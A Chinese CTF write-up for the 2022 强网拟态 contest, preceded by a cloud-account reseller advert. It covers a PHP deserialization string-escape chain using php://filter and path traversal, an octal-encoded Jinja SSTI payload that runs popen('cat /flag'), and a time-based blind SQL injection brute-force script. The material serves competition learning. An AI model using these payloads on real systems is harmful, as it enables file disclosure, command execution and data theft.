2022强网拟态 (部分wp)
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
因为没有了复现环境只能看着别人的wp做一点点的分析。
ezus
<?php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{
exit("no way!");
}
if (isset($_GET['source']))
{
$path = basename($_SERVER['PHP_SELF']);
if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
{
exit("nonono!");
}
highlight_file($path);
exit();
}
?>
$_SERVER['PHP_SELF'] 就是url中/后面的东西
ww.con/wfwf/rre /wfwf/rre
只需保证tm.php后面是非ascii值即可(basename的漏洞)
- /index.php/tm.php/%aa?source
class UserAccount
{
protected $username;
protected $password;
public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
function object_sleep($str)//实行替换字符的操作 少-》多
{
$ob = str_replace(chr(0) . '*' . chr(0), '@0@0@0@', $str);
return $ob;
}
function object_weakup($ob)//恰恰相反 多-》少
{
$r = str_replace('@0@0@0@', chr(0) . '*' . chr(0), $ob);
return $r;
}
class order
{
public $f;
public $hint;
public function __construct($hint, $f)
{
$this->f = $f;
$this->hint = $hint;
}
public function __wakeup()//wakeup 要注意
{
//something in hint.php 给了提示
if ($this->hint != "pass" || $this->f != "pass") {
$this->hint = "pass";
$this->f = "pass";
}
}
public function __destruct()
{
if (filter_var($this->hint, FILTER_VALIDATE_URL)) {//url过滤器
$r = parse_url($this->hint);//把url的各个部分拆开
if (!empty($this->f)) {//这里this->f必须有值并且存在trypass
if (strpos($this->f, "try") !== false && strpos($this->f, "pass") !== false) {
@include($this->f . '.php');//然后包含这个文件
} else {
die("try again!");
}
if (preg_match('/prankhub$/', $r['host'])) {//主机名字要包含prankhub hint
@$out = file_get_contents($this->hint);//从包含的文件取出字符
echo "<br/>" . $out;
} else {
die("<br/>error");
}
} else {
die("try it!");
}
} else {
echo "Invalid URL";
}
}
}
$username = $_POST['username'];
$password = $_POST['password'];
$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))
?>
捋一下大概的代码
this-> f 必须存在try pass
this->hint 必须是 a://prankhub/..的结构
@include($this->f . '.php');//然后包含这个文件
@$out = file_get_contents($this->hint);//从包含的文件取出字符
有这两个危险函数的点 然后肯定要绕过wakeup
题目提示了我们要访问hint.php
function object_sleep($str)//实行替换字符的操作 少-》多
{
$ob = str_replace(chr(0) . '*' . chr(0), '@0@0@0@', $str);
return $ob;
}function object_weakup($ob)//恰恰相反 多-》少
{
$r = str_replace('@0@0@0@', chr(0) . '*' . chr(0), $ob);
return $r;
}
然后有两个替换的函数最后输出序列化的时候用到了如果我输入 @0@0@0@ 最后就会变成%00*%00从七个字符-》三个字符 逃逸了四个但是如果我输入%00*%00变成@0@0@0@还会变成%00*%00所以不会逃逸。
解题方向
所以这道题我们肯定是通过post传参然后再通过反序列化逃逸字符最后构成一个语句让include包含最后file_get_contents进行取值的操作。
$a = new order("a://prankhub/../../../../../../../etc/passwd","php://filter/convert.base64-encode/resource=./trypass/../hint");
echo serialize($a);
前面的是hint 的值后面的是 f的值这里其实无所谓我们实际都可以让他们的值等于后面读取hint的值因为 @include($this->f . '.php');自动加了php
关键的是上面的include包含在前面 a://prankhub/..的结构 在后面可以分开执行
./trypass/../hint 这里进行了伪造有两种方式
try/pass/../../hint
先把上面new order的值 跑一下看一下我们生成的链子
O:5:"order":2:{s:1:"f";s:61:"php://filter/convert.base64-encode/resource=./trypass/../hint";s:4:"hint";s:44:"a://prankhub/../../../../../../../etc/passwd";}
这里就是我们需要逃逸的部分
然后看一下正常生成的链子
O:11:"UserAccount":2:{s:11:"%00*%00username";s:3:"aaa";s:11:"%00*%00password";s:3:"bbb";}
%00*%00是三位
一般这种我们要字符串逃逸会选择逃逸password因为它在后面就不用构造username了
O:11:"UserAccount":2:{s:11:"%00*%00username";s:3:"aaa";s:11:"%00*%00password";s:3:"bbb";}
把这里都包含进 username的值
$username = "@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@";//$_POST['username'];//post传参
$password = '";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:61:"php://filter/convert.base64-encode/resource=./trypass/../hint";s:4:"hint";s:52:"a://prankhub/../../../../../../../f1111444449999.txt";}';
//
O:11:"UserAccount":2:{s:11:" * username";s:49:"@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@";s:11:" * password";s:189:"";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:61:"php://filter/convert.base64-encode/resource=./trypass/../hint";s:4:"hint";s:52:"a://prankhub/../../../../../../../f1111444449999.txt";}";}
标注了28位然后我们想一下
O:11:"UserAccount":2:{s:11:" * username";s:49:"@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@";s:11:" * password";s:189:"";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:61:"php://filter/convert.base64-encode/resource=./trypass/../hint";s:4:"hint";s:52:"a://prankhub/../../../../../../../f1111444449999.txt";}";}
这里不就是都是username的值因为会进行替换的操作一次逃逸4个字符所以一共需要7个也就是28个字符
然后在hint.php中会出现flag的位置
这时候我们就不能用include来获取了因为include后面加了.php所以用到file_get_contents
总结
这道题也是看了很久因为没环境然后其他的wp写的比较简单对于我这种菜鸡逃逸28位自己琢磨了好久这种序列化逃逸的题需要我们提前构造然后一步步写。
没有人比我更懂py
是一道ssti的过滤题目
然后前几天刚做了SICTF的一道SSTI那道题是过滤了关键字用拼接【】进行的绕过
这种题我的方法就是一个个{{"".__class__}}这样一个单词一个单词输出看返回值是否有报错如果有然后删减来确定过滤的什么然后找替代的方法。
让我们回归正题
这道题是过滤了全英文可以用八进制绕过
base=input("要输入要转换的字符串")
flag=""
print(base)
for a in base:
flag=flag+"\\"+str(oct(ord(a)))[2:]
# oct 是转换为 八进制
print(flag)
print(oct(ord("A")))
#A
\101
0o101
脚本原理很简单把转换的前缀截取加\\二个第一个是转义所以结果加一个\
"".__class__.__mro__[1].__subclasses__()[132].__init__.__golbals__['popen'][ls].read()
{{""["\137\137\143\154\141\163\163\137\137"]["\137\137\155\162\157\137\137"][1]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[132]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\040\057\146\154\141\147")["\162\145\141\144"]()}}
然后还有一个思路是直接转换为全角字符绕过比class这种 符号应该不用
popsql
一道sql注入的题目
import requests
import time
url = "http://172.51.3.196/"
flag = ""
for i in range(1,500):
for j in range(32,127):
# payload = "' or if((select strcmp(ord(right(database(),{})),{})),1,benchmark(10000000,sha(1))) or '1".format(i,j)
# payload = "' or if((select strcmp(ord(right((select group_concat(table_name)from sys.schema_table_statistics_with_buffer),{})),{})),1,benchmark(10000000,sha(1))) or '1".format(i,j)
# payload = "' or if((select strcmp(ord(right((select group_concat(query) from `sys`.`statement_analysis`),{})),{})),1,benchmark(10000000,sha(1))) or '1".format(i,j)
payload = "' or if((select strcmp(ord(right((select group_concat(f1aG123) from Fl49ish3re),{})),{})),1,benchmark(10000000,sha(1))) or '1".format(i,j)
data = {
"username":"admin",
"password":payload.replace(' ', '/**/')
}
t1 = time.time()
r = requests.post(url,data=data)
t2 = time.time()
if(t2-t1>2):
flag = flag+chr(j)
print(flag[::-1])
break
这道题没环境只能简单的分析一下
"' or if((select strcmp(ord(right(database(),{})),{})),1,benchmark(10000000,sha(1))) or '1".format(i,j)
本来是想 if( ,1,benchmark) 里面成功了返回1
但是错了strcmp函数 相当返回 0 小于 返回负数 大于 正数
而if(-1,1,10) 这里会 返回1 只有 是0才返回0
ord和ascii效果一样都是返回ascii码
' or if((select strcmp(ord(right((select group_concat(query) from `sys`.`statement_analysis`)
列名被禁了这里用 query和sys`.`statement_analysis`这里先记住日后再来理解
剩下的题原型链污染想搞搞但是都没有源代码 进程耽搁还有一个java序列化的题知识储备还不够等够了在回来。